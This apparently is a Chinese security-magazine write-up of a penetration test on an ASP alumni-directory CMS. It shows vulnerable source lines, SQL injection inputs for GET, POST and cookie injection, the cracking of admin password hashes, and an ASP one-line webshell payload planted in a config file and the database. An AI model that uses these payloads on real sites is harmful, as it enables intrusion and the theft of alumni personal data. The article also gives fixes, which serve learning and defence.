不懂ASP也照样挖漏洞 记一次CMS型校友录的安全检测

原创
安全 应用安全
经常接触网站制作的业内人士都知道什么是CMS,由于这个成熟的内容管理系统框架具有良好的扩展性,因此也被大量作为企业网站,校友录等使用。网上有很多开源或免费的CMS版本,但其安全性和稳定性却并不尽如人意。

【51CTO.com 独家特稿】几乎每个公司或团体都会建立自己的网站,但由于各种原因,大部分人会使用网上 公 布的一些CMS来构建自己的网 站,但却很少有人会关注自己使用的CMS是否安全。下面存在漏洞的校友录就是一个 很好的例子,攻破后,校友的个人信息将全部泄露。


一、对某CMS的初步安检

1.初步查看
某日,在安天365群里,同伴发过来一个网址,让我友情检测一下该网站的 安全,打开后感觉 人气还不错,界面也比较简洁 。如图1所示。

图1

2.简单的安全测试
打开网站一看原来是个校友录,随便找个带参数的地方,加个单引 号,http://www.*********.com/gg.asp?id=100', 返回的 结果如图2所示。

图2

很明显,程序做了防注入的处理,看来程序开发者还有点安全意识,做了一些安全措施,不过后来证明,防注 入也 只是检测了GET方法,并 未对POST和COOKIE做检测。正准备测试cookie注入,同伴kiss传了个源代码过来, 有源代码就 好办了,还是在本地测试安全,网上的毕竟是未 经授权的安全检测,多少存在一些风险。
#p#
二、在本地进行安全测试

1.搭建测试环境
把校友录的源代码复制到IIS的web目录下,打开浏览器浏览http://192.168.1.5/txl/,结果如图3所示。

图3

2.安装组件
很显示,我本地服务器不支持它的组件,先看说明。在安装说明里有这么 一句“组件安装方法 ,将 该组件复制到 C:\WINDOWS\system32里,并将此权限设置成允许网站访问组的“完全 控制权限”。例:将 everyone设置 成“完全控制”。然后在“开始/运行 ”中输入‘regsvr32 yvsy.dll’,卸 载方式为‘regsvr32 yvsy.dll -u’”。照 着它的方法注册了组件,如图4所示。

图4

3.搭建试验环境成功
注册成功后,再次浏览http://192.168.1.5/txl/,一切正常了,后面 开始检测该CMS的安全漏 洞。如图5所示。

图5


#p#
三、挖掘并查找安全漏洞

1.解密CMS源代码
使用Editplus编辑器打开CMS下的源代码,发现程序作者对部分源代 码使用了Encoder加密,如图6所示。

图6

2.解密源代码
为了方便查看源代码,首先对它们进行解密,到网上下载asp脚本解密工 具,打开,选择源代码所 在目录,如图7所示。

图7

点击“开始解密”,几秒钟后就可以对文件夹下所有asp文件解密。解密后的代码如图8所示。

图8

说明:
(1)其实,使用Encoder对asp脚本加密没什么必要,因为对于asp脚本解密太简单了,于其花时间 在加密 脚本上,不如将时间花在写更安全的代码上。

(2)什么是Encoder加密?
Asp Encoder是微软推出的一套算法,并提供了一个命令行下的脚本加密工具 。 Script Encoder的特点是:它只加密页面中嵌入的脚本代码,其他部分,如HTML的TAG仍然保持原样不变。处 理后的文件 中被加密过的部分为只读内容,对加密部分的任何修改都将导致 整个加密后的文件不能使用。 Script Encoder加密过的 ASP文件还将使Script Debugger之类的脚本调试工具失效。

3.查找SQL注入点
因为代码还挺多的,不想一个个看,所以通过正则表达式来查找可能 存在注入的文件,之后再 慢慢看。打开EditPlus,点击“搜索”->“在文件中查找”,弹出的对话框,查找内 容填写 “((select|update|delete)+.*(from|set)+.*(where)+.*)”,文件类型填写“*.asp”,文件夹选择校 友录所在的文件 夹,再把“包含了文件夹”和“正则表达式”选项选上,如图9所示。

图9

此正则表达式的意思是查找文件夹下所有的asp文件,如果包含select、update和delete这些SQL语句,就显示 出来。 只花了一秒钟,结果出来了,有68个文件使用到SQL语句,如图10所示。

图10

图10 查询结果

说明:
在编写处理字符串的程序或网页时,经常会有查找符合某些复杂规 则的字 符串的需要。正则表达式就是用于描述这些规则的工具。换句话说,正则表达式就是记录文本规则的代码 。很可能你使 用过Windows/Dos下用于文件查找的通配符(wildcard),也就是*和?。如果你想查找某个目录下的 所有的Word文档的话, 你会搜索*.doc。在这里,*会被解释成任意的字符串。和通配符类似,正则表达式也是用 来进行文本匹配的工具,只不 过比起通配符,它能更精确地描述你的需求——当然,代价就是更复杂——比如你 可以编写一个正则表达式,用来查找 所有以0开头,后面跟着2-3个数字,然后是一个连字号“-”,最后是7或8 位数字的字符串(像010-12345678或0376- 7654321)。

4.初审代码

(1)查看app.asp文件源代码
在查询结果中先查看app.asp文件,如图11所示。

图11

第二行bid=clng(request("bid"))把bid的值转为Long子类型,如果request的值不为数字,则会出现错误。如 图12所 示。CLng 函数可返回表达式,此表达式已被转换为 Long 子类型的 Variant。

图12

注意:值的范围必须是在-2147483648 和 2147483647之间。

(2)分析bbsadd.asp文件
于是继续分析下一个文件,bbsadd.asp文件,第406-409行:

406 < %repquote=request("repquote")

407 if repquote<>"" then

408 rs.open "select userid,cantent from [bbs] where id="&repquote&"",conn,1,1

409 reContent=obj.GetReContent(rs("cantent"))

很明显,repquote参数未做任何过滤,直接放入SQL语句中,造成SQL注入。分析此文件得知,当引用别人的帖子 回复时,触发此 SQL注入。先浏览一下http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply&repquote=2,返回正常,如图13所示。

图13

再加个单引号http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply&repquote=2'返回图2一样防注入的页面,我在源代码中一直找不到 防注的 代码,应该是存在它的组件中。看似没有办法注入了,但我们还有POST和COOKIE注入没有试,先试POST方 法,直 接把URL 放到pangolin里,选择POST,在高级选项里读取cookie,点检测,一会,结果就出来了,如图14 所示。

图14

pangolin别看它是英文界面,它可是国人ZwelL写的一款Windows平台下的自动化SQL注入渗透测试工具。他实 现了 从检测到利用完成一体化的渗透攻击动作,尽可能的将攻击效果最大化。

(3)测试COOKIE注入
再测试COOKIE注入,先依次在浏览器地址栏输入:
http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply&repquote=2 正常
javascript:alert (document.cookie="repquote="+escape("2 and 1=1"));
http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply 正常
javascript:alert(document.cookie="repquote="+escape("2 and 1=2"));
http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply 不正常,如图15所示。

图15

修补建议:把406行改为repquote =obj.regstr(request.form("repquote"))

小知识:什么是POST注入和COOKIE注入?
通常http请求不外乎 GET和POST两种方法,也就是说如果服务端 要从客 户端获取参数值的话,一般是使用Request.QueryString("name")或者Request.Form("name")方法,也可 以合成 Request ("name"),一般防注入程序只是对这两种方法提交的值作了过滤,而忽视了另外一种方法,那就 是 Request.Cookie ("name"),所以造成了COOKIE注入。

(3)继续分析源代码

继续一个个文件进行分析,其它文件没发现什么问题,一直来到登录文件login.asp。看28-35行:

28 if request ("submi")=1 then
29 if comeurl="" Then ShowError("请在页面里登录")
30 xyluser=request.form ("xyluser")
31 xylpwd=md5(request.form("xylpwd"))
32 if xyluser="" or xylpwd="" Then ShowError("用 户名和密码不可以为空")
33 rs.open "select id,password,lastdate,logins,lastip,sitejob,sitemoney,isclose from user where 

username='"&xyluser&"'",conn,1,3
34 If Rs.eof and Rs.bof Then ShowError("你的用 户名不存在")
35 if rs("password")<>xylpwd Then ShowError("你的密码错误")
在第30行,xyluser变 量未过虑,直接放入SQL语句中,造成注入。但却不能 使用POST直接注入,看第29行,如果HTTPREFERER参数为空,就会提示“请在页面里登录”,直接提交
http://192.168.1.4/txl/login.asp?xylpwd=m3m3.com&CkiExp=31&submi=1&loginsubmit=%BB%E1%D4%B1% B5%C7%C2%BC&xyluser=n3tl04d。如图16所示。

图16

虽然不能使用POST直接注入,但可以通过一个php脚本来转发数据包来注入,中转脚本如下:
dddddddddddddd
ddddddddd
把此脚本放在一个支持CRUL的PHP空间上,同时还要magic_quotes_gpc = off, 如果magic_quotes_gpc = on,输入的单引号会被转义为“\'”,然后浏览http://www.n3tl04d.mil/post4.php?id=n3tl04d,如图17所示。

图17

http://www.n3tl04d.mil/post4.php? id=n3tl04d放到Pangolin注入,如图18所示。

图18

修补建议:把第30行改为xyluser =obj.regstr(request.form("xyluser"))

(4)分析后台文件adminbj.asp文件

分析后台文件adminbj.asp文件,先看代码
10 <%ad=request("ad")
11 type2=request("type2")
12 bjid=request("bjid")
13 Select Case type2
14 Case "edit":
……(略去无关代码)
101 sub edit
102 sql="select * from bj where id="&bjid&""
103 rs.open sql,conn,1,1%>
很明显,未对传入参数bjid的值未做任何过滤,直接放 入 SQL语句中,

http://192.168.1.4/txl/admin/adminbj.asp?type2=edit&bjid=1,又是一个 注入, 但只能POST或COOKIE

注入,不过此此注入算是鸡肋的注入,因为要登录才能注入,没什么实际意义。同样的注入出现在后台多个文 件了, 这里就不一一写出来了。
#p#
四、后台拿shell

1.猜解后台密码
后台登录有两个密码,这两个密码都存在admin表中,所以猜解admin 的表段时,需要手动添加 password2

第二个密码的表段,使用pangolin猜解,等一会,两个密码都猜出来了,如图19所示。

图19

2.破解密码并登录后台
把d42683b3df678c61和c39059a89ab77d84拿到www.cmd5.com去解密,密码分别是admin1和admin2。拿去登录后台,成功。 如图20所示。

图20

这里不太明白,为什么开发者使用两个登录密码,而两个密码放在同一表里,这里对安全性并没有太大的提高 。应该把第二个密码使用其它加密方式单独写入一个asp文件中,这样安全性不是有更大的提高?

3.插入一句话后门
查看一下siteinfo.asp文件,此文件是网站的一些信息配置文件,而后台 admin/siteinfo.asp对此配置文件编辑时,并不会对表单的值进行过滤,就给攻击者在配置文件写入一句话木马 的机会。在管理后台,点击站点参数,在网址栏输入:<%execute(request ("n"))%><%'/">http://"%><%execute(request("n"))%><%',如图21所示。

图21

4.使用Lanker的Webshell连接后台
使用lanker微型PHP+ASP管理器1.0双用版连接http://192.168.1.4/txl/siteinfo.asp,如图22所示,成 功获得Webshell,之后可以上传大马,做进一步提权渗透测试。

图22

说明:
此方法会造成网站无法正常浏览,在上传大马后,应及时恢复原配置文件siteinfo.asp。
#p#
五、直接拿webshell

本来这是在最前面测试的,但由于各种原因,我把它放最后。数据库是以asp文件存在,如果使用者没更改默 认数据库文件,那么就在可以输入的地方往数据库内插入一句话木马,直接得到webshell。于是查找所有文件中 包含“request.form”的文件,最后在note.asp文件中发现,程序未对客户输入的内容做任何过滤,可以把一句 话木马直接插入数据库内。

if request("type2")="add" then
rs.open "select * from note1 where userid="&session("xyluserid")&"",conn,1,3
If Rs.eof Then
rs.addnew
response.write "添加成功"
rs("userid")=session ("xyluserid")
end if
rs("content")=request.form("content") 
rs.update
rs.close
response.write "修改成功"
end if
于是尝试在往 数据库中插入:“%><%execute request("n")%><%”“%><%execute request ("n")%>”等 多种一句话的Unicode字符,再访问数据库文件,都显示,无法闭合,如图23所示。

图23

原因是数据库中存在nodown表,做了防下载处理,不过应该可以突破,但本人能力有限,未能进一步突破。

安全小知识:如何建立nodown防下载表?
首先,用notepad新建一个内容为“<%”的文本文件,随便起 个名字存档。
接着,用Access打开您的数据库文件,在最后新建一个表,随便起个名字,在表中添加一个OLE 对象的字段,然后添加一个记录,插入之前建立的文本文件,如果操作正确的话,应该可以看到一个新的名为“ 数据包”的记录。
#p#
六、总结

由于本人不懂ASP,能力有限,所以此次检测并没有太深入,还有一些XSS跨站攻击和上传等也未进行测试,总 体来说,这套CMS的安全性还是可以的,如果管理员密码设置复杂一些,登录不了后台,那也无法拿到webshell。 个人认为在选择CMS时,选择一些成熟的CMS产品安全性会高些,同时也应该把数据库文件和配置文件的名称改复 杂一些。

【51CTO.COM 独家特稿,转载请注明出处及作者!】

【编辑推荐】

  1. 对某户外旅游网站的一次安全检测
  2. 对某高级技工学校网站的安全检测和加 固
  3. 对韩国某手表网站的一次偶然安全检测
责任编辑:王文文 来源: 51CTO.com
相关推荐

2011-09-27 10:35:44

2021-11-11 16:14:04

Kubernetes

2009-01-06 15:20:01

2013-04-01 10:27:37

程序员失业

2011-02-22 09:29:23

jQueryJavaScript

2019-03-15 16:20:45

MySQL死锁排查命令

2023-06-07 07:31:04

PC端app脱壳技巧

2021-12-20 10:15:16

zip密码命令网络安全

2014-08-06 11:24:24

Elasticsear劫持挂马

2013-01-17 10:31:13

JavaScriptWeb开发firebug

2021-05-13 08:51:20

GC问题排查

2021-02-25 10:00:19

企业安全互联网云平台安全

2020-12-29 10:25:07

漏洞JSONP注入

2022-01-07 11:48:59

RabbitMQGolang 项目

2012-09-03 14:22:02

2017-07-07 16:07:41

2014-08-11 09:31:52

2023-04-06 07:53:56

Redis连接问题K8s

2018-02-23 13:41:05

数据库MySQL数据恢复

2021-12-02 07:50:30

NFS故障内存
点赞
收藏

51CTO技术栈公众号